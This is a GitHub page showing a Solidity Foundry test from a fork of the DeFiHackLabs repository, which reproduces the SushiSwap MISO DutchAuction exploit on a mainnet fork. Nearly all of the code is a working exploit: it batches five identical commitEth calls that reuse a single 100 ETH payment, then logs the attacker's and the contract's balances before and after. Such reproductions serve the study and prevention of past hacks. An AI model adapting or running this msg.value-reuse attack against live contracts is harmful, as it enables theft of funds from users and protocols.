forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Sushimiso_exp.sol
63 lines (56 loc) · 1.91 KB
/
Sushimiso_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "./interface.sol";
interface IDutchAuction {
function commitEth(
address payable _beneficiary,
bool readAndAgreedToMarketParticipationAgreement
) external payable;
function batch(bytes[] calldata calls, bool revertOnFail)
external
payable
returns (bool[] memory successes, bytes[] memory results);
}
contract ContractTest is DSTest {
IDutchAuction DutchAuction =
IDutchAuction(0x4c4564a1FE775D97297F9e3Dc2e762e0Ed5Dda0e);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
bytes[] public data;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 13038771); //fork mainnet at block 13038771
}
function testExploit() public {
payable(address(0)).transfer(79228162414264337593543950335);
emit log_named_uint(
"Before exploit, ETH balance of attacker:",
address(address(this)).balance
);
emit log_named_uint(
"Before exploit, ETH balance of DutchAuction:",
address(DutchAuction).balance
);
bytes memory payload = abi.encodePacked(
DutchAuction.commitEth.selector,
uint256(uint160(address(this))),
uint256(uint8(0x01))
);
data.push(payload);
data.push(payload);
data.push(payload);
data.push(payload);
data.push(payload);
DutchAuction.batch{ value: 100000000000000000000 }(data, true);
emit log_named_uint(
"After exploit, ETH balance of attacker:",
address(address(this)).balance
);
emit log_named_uint(
"After exploit, ETH balance of DutchAuction:",
address(DutchAuction).balance
);
}
receive() external payable {}
}